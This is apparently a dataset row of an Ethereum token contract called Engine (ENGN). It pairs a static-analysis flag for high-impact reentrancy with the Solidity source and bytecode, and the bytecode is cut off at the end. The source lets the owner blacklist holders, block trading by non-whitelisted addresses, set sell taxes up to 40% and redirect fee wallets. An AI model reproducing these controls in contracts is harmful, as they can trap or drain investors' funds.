4c0565b915061302782613921565b604082019050919050565b600061303f601b836134c0565b915061304a82613970565b602082019050919050565b60006130626017836134c0565b915061306d82613999565b602082019050919050565b60006130856021836134c0565b9150613090826139c2565b604082019050919050565b60006130a86020836134c0565b91506130b382613a11565b602082019050919050565b60006130cb6029836134c0565b91506130d682613a3a565b604082019050919050565b60006130ee6025836134c0565b91506130f982613a89565b604082019050919050565b60006131116023836134c0565b915061311c82613ad8565b604082019050919050565b60006131346024836134c0565b915061313f82613b27565b604082019050919050565b61315381613624565b82525050565b6131628161362e565b82525050565b600060208201905061317d6000830184612e8d565b92915050565b60006020820190506131986000830184612efa565b92915050565b60006020820190506131b36000830184612f09565b92915050565b600060208201905081810360008301526131d38184612f27565b905092915050565b600060208201905081810360008301526131f481612f60565b9050919050565b6000602082019050818103600083015261321481612f83565b9050919050565b6000602082019050818103600083015261323481612fa6565b9050919050565b6000602082019050818103600083015261325481612fc9565b9050919050565b6000602082019050818103600083015261327481612fec565b9050919050565b600060208201905081810360008301526132948161300f565b9050919050565b600060208201905081810360008301526132b481613032565b9050919050565b600060208201905081810360008301526132d481613055565b9050919050565b600060208201905081810360008301526132f481613078565b9050919050565b600060208201905081810360008301526133148161309b565b9050919050565b60006020820190508181036000830152613334816130be565b9050919050565b60006020820190508181036000830152613354816130e1565b9050919050565b6000602082019050818103600083015261337481613104565b9050919050565b6000602082019050818103600083015261339481613127565b9050919050565b60006020820190506133b0600083018461314a565b92915050565b600060a0820190506133cb600083018861314a565b6133d86020830187612f18565b81810360408301526133ea8186612e9c565b90506133f96060830185612e8d565b613406608083018461314a565b9695505050505050565b60006020820190506134256000830184613159565b92915050565b6000613435613446565b905061344182826136a4565b919050565b6000604051905090565b600067ffffffffffffffff82111561346b5761346a61377c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134dc82613624565b91506134e783613624565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561351c5761351b61371e565b5b828201905092915050565b600061353282613624565b915061353d83613624565b92508261354d5761354c61374d565b5b828204905092915050565b600061356382613624565b915061356e83613624565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135a7576135a661371e565b5b828202905092915050565b60006135bd82613624565b91506135c883613624565b9250828210156135db576135da61371e565b5b828203905092915050565b60006135f182613604565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136468261364d565b9050919050565b600061365882613604565b9050919050565b600061366a82613624565b9050919050565b60005b8381101561368f578082015181840152602081019050613674565b8381111561369e576000848401525b50505050565b6136ad826137ab565b810181811067ffffffffffffffff821117156136cc576136cb61377c565b5b80604052505050565b60006136e082613624565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137135761371261371e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613b7f816135e6565b8114613b8a57600080fd5b50565b613b96816135f8565b8114613ba157600080fd5b50565b613bad81613624565b8114613bb857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122026a613fd15bd39116786fe54c9ff437b1f98099cdf0793166b338537af0535b864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,965 |
0xf0d243ee0d7517b1fcf2445ab624ded2dbe3ba54
|
//104 116 116 112 115 58 47 47 116 46 109 101 47 69 116 104 101 114 101 117 109 83 116 101 97 108 116 104
//ASCII
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ENGINE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Engine";
string private constant _symbol = "ENGN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _buytax = 10; // Buy tax 10%
uint256 private _teamFee;
uint256 private _sellTax = 30; // Launch sell tax 30% for 30mins. Then Sell tax down to 10%.
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => bool) private whitelist;
mapping(address => uint256) private cooldown;
address payable private _MarketTax;
address payable private _Dev;
address payable private _DevTax;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private publicsale = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable markettax, address payable devtax, address payable dev) {
_MarketTax = markettax;
_Dev = dev;
_DevTax = devtax;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_MarketTax] = true;
_isExcludedFromFee[_DevTax] = true;
_isExcludedFromFee[_Dev] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
if(!publicsale){
require(whitelist[from] || whitelist[to] || whitelist[msg.sender]);
}
if(from != owner() && to != owner()){
_teamFee = _buytax;
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
_teamFee = _sellTax;
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function isWhiteListed(address account) public view returns (bool) {
return whitelist[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_MarketTax.transfer(amount.div(10).mul(4));
_DevTax.transfer(amount.div(10).mul(6));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
publicsale = false;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Dev);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualswapcustom(uint256 percentage) external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
uint256 swapbalance = contractBalance.div(10**5).mul(percentage);
swapTokensForEth(swapbalance);
}
function manualsend() external {
require(_msgSender() == _Dev);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setWhitelist(address[] memory whitelist_) public onlyOwner() {
for (uint256 i = 0; i < whitelist_.length; i++) {
whitelist[whitelist_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Dev);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setSellTax(uint256 selltax) external onlyOwner() {
require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40');
_sellTax = selltax;
}
function _setBuyTax(uint256 buytax) external onlyOwner() {
require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10');
_buytax = buytax;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarket(address payable account) external {
require(_msgSender() == _Dev);
_MarketTax = account;
}
function setDev(address payable account) external {
require(_msgSender() == _Dev);
_Dev = account;
}
function setDevpay(address payable account) external {
require(_msgSender() == _Dev);
_DevTax = account;
}
function OpenPublic() external onlyOwner() {
publicsale = true;
}
function _ZeroSellTax() external {
require(_msgSender() == _Dev);
_sellTax = 0;
}
function _ZeroBuyTax() external {
require(_msgSender() == _Dev);
_buytax = 0;
}
}
|
0x6080604052600436106101fd5760003560e01c8063a9059cbb1161010d578063d00efb2f116100a0578063dd62ed3e1161006f578063dd62ed3e146105d9578063e01af92c1461061f578063e47d60601461063f578063e850fe3814610678578063f42176481461068d57600080fd5b8063d00efb2f14610563578063d477f05f14610579578063d543dbeb14610599578063dbe8272c146105b957600080fd5b8063c9567bf9116100dc578063c9567bf9146104e0578063cba0e996146104f5578063cdeda4c61461052e578063cf27e7d51461054357600080fd5b8063a9059cbb1461046b578063b515566a1461048b578063c0e6b46e146104ab578063c3c8cd80146104cb57600080fd5b80636dcea85f11610190578063715018a61161015f578063715018a6146103cc57806384e1879d146103e157806389e7b81b146103f65780638da5cb5b1461041657806395d89b411461043e57600080fd5b80636dcea85f1461033e5780636f9170f61461035e5780636fc3eaec1461039757806370a08231146103ac57600080fd5b8063273123b7116101cc578063273123b7146102c05780632b7581b2146102e2578063313ce56714610302578063437823ec1461031e57600080fd5b806306fdde0314610209578063095ea7b31461024a57806318160ddd1461027a57806323b872dd146102a057600080fd5b3661020457005b600080fd5b34801561021557600080fd5b50604080518082019091526006815265456e67696e6560d01b60208201525b60405161024191906120b4565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611f45565b6106ad565b6040519015158152602001610241565b34801561028657600080fd5b50683635c9adc5dea000005b604051908152602001610241565b3480156102ac57600080fd5b5061026a6102bb366004611f05565b6106c4565b3480156102cc57600080fd5b506102e06102db366004611e95565b61072d565b005b3480156102ee57600080fd5b506102e06102fd36600461206f565b610781565b34801561030e57600080fd5b5060405160098152602001610241565b34801561032a57600080fd5b506102e0610339366004611e95565b610801565b34801561034a57600080fd5b506102e0610359366004611e95565b61084f565b34801561036a57600080fd5b5061026a610379366004611e95565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156103a357600080fd5b506102e0610891565b3480156103b857600080fd5b506102926103c7366004611e95565b6108be565b3480156103d857600080fd5b506102e06108e0565b3480156103ed57600080fd5b506102e0610954565b34801561040257600080fd5b506102e061041136600461206f565b61097b565b34801561042257600080fd5b506000546040516001600160a01b039091168152602001610241565b34801561044a57600080fd5b5060408051808201909152600481526322a723a760e11b6020820152610234565b34801561047757600080fd5b5061026a610486366004611f45565b6109d1565b34801561049757600080fd5b506102e06104a6366004611f70565b6109de565b3480156104b757600080fd5b506102e06104c636600461206f565b610a82565b3480156104d757600080fd5b506102e0610b17565b3480156104ec57600080fd5b506102e0610b4d565b34801561050157600080fd5b5061026a610510366004611e95565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561053a57600080fd5b506102e0610f14565b34801561054f57600080fd5b506102e061055e366004611e95565b610f53565b34801561056f57600080fd5b5061029260195481565b34801561058557600080fd5b506102e0610594366004611e95565b610f95565b3480156105a557600080fd5b506102e06105b436600461206f565b610fd7565b3480156105c557600080fd5b506102e06105d436600461206f565b6110a5565b3480156105e557600080fd5b506102926105f4366004611ecd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561062b57600080fd5b506102e061063a366004612037565b611125565b34801561064b57600080fd5b5061026a61065a366004611e95565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561068457600080fd5b506102e0611163565b34801561069957600080fd5b506102e06106a8366004611f70565b61118a565b60006106ba33848461122a565b5060015b92915050565b60006106d184848461134e565b610723843361071e85604051806060016040528060288152602001612285602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906116e1565b61122a565b5060019392505050565b6000546001600160a01b031633146107605760405162461bcd60e51b815260040161075790612107565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ab5760405162461bcd60e51b815260040161075790612107565b600a8111156107fc5760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d2031300000000000006044820152606401610757565b600955565b6000546001600160a01b0316331461082b5760405162461bcd60e51b815260040161075790612107565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b03161461086f57600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316146108b157600080fd5b476108bb8161171b565b50565b6001600160a01b0381166000908152600260205260408120546106be906117aa565b6000546001600160a01b0316331461090a5760405162461bcd60e51b815260040161075790612107565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b03161461097457600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b03161461099b57600080fd5b60006109a6306108be565b905060006109c1836109bb84620186a061182e565b90611870565b90506109cc816118ef565b505050565b60006106ba33848461134e565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161075790612107565b60005b8151811015610a7e57600160106000848481518110610a3a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a768161221a565b915050610a0b565b5050565b6014546001600160a01b0316336001600160a01b031614610aa257600080fd5b60008111610af25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610757565b610b11612710610b0b683635c9adc5dea0000084611870565b9061182e565b600f5550565b6014546001600160a01b0316336001600160a01b031614610b3757600080fd5b6000610b42306108be565b90506108bb816118ef565b6000546001600160a01b03163314610b775760405162461bcd60e51b815260040161075790612107565b601754600160a01b900460ff1615610bd15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610757565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c0e3082683635c9adc5dea0000061122a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c4757600080fd5b505afa158015610c5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7f9190611eb1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc757600080fd5b505afa158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cff9190611eb1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d4757600080fd5b505af1158015610d5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7f9190611eb1565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d7194730610daf816108be565b600080610dc46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610e2757600080fd5b505af1158015610e3b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e609190612087565b5050601780546801158e460913d000006018554360195563ffff00ff60a01b1981166201000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610edc57600080fd5b505af1158015610ef0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e9190612053565b6000546001600160a01b03163314610f3e5760405162461bcd60e51b815260040161075790612107565b6017805460ff60b81b1916600160b81b179055565b6014546001600160a01b0316336001600160a01b031614610f7357600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b031614610fb557600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110015760405162461bcd60e51b815260040161075790612107565b600081116110515760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610757565b61106a6103e8610b0b683635c9adc5dea0000084611870565b60188190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146110cf5760405162461bcd60e51b815260040161075790612107565b60288111156111205760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d20343000000000006044820152606401610757565b600b55565b6014546001600160a01b0316336001600160a01b03161461114557600080fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b03161461118357600080fd5b6000600955565b6000546001600160a01b031633146111b45760405162461bcd60e51b815260040161075790612107565b60005b8151811015610a7e576001601160008484815181106111e657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806112228161221a565b9150506111b7565b6001600160a01b03831661128c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610757565b6001600160a01b0382166112ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610757565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113b25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610757565b6001600160a01b0382166114145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610757565b600081116114765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610757565b6000546001600160a01b038481169116148015906114a257506000546001600160a01b03838116911614155b15611684576001600160a01b03831630146114c6576018548111156114c657600080fd5b601754600160b81b900460ff16611539576001600160a01b03831660009081526011602052604090205460ff168061151657506001600160a01b03821660009081526011602052604090205460ff165b8061153057503360009081526011602052604090205460ff165b61153957600080fd5b6000546001600160a01b0384811691161480159061156557506000546001600160a01b03838116911614155b1561157157600954600a555b6001600160a01b03831660009081526010602052604090205460ff161580156115b357506001600160a01b03821660009081526010602052604090205460ff16155b80156115cf57503360009081526010602052604090205460ff16155b6115d857600080fd5b60006115e3306108be565b9050600f5481106115f35750600f545b600e546017549082101590600160a81b900460ff1615801561161e5750601754600160b01b900460ff165b80156116275750805b801561164157506017546001600160a01b03868116911614155b801561165b57506016546001600160a01b03868116911614155b1561168157600b54600a5561166f826118ef565b47801561167f5761167f4761171b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806116c657506001600160a01b03831660009081526005602052604090205460ff165b156116cf575060005b6116db84848484611a94565b50505050565b600081848411156117055760405162461bcd60e51b815260040161075791906120b4565b5060006117128486612203565b95945050505050565b6013546001600160a01b03166108fc61173a60046109bb85600a61182e565b6040518115909202916000818181858888f19350505050158015611762573d6000803e3d6000fd5b506015546001600160a01b03166108fc61178260066109bb85600a61182e565b6040518115909202916000818181858888f19350505050158015610a7e573d6000803e3d6000fd5b60006006548211156118115760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610757565b600061181b611ac2565b9050611827838261182e565b9392505050565b600061182783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ae5565b60008261187f575060006106be565b600061188b83856121e4565b90508261189885836121c4565b146118275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d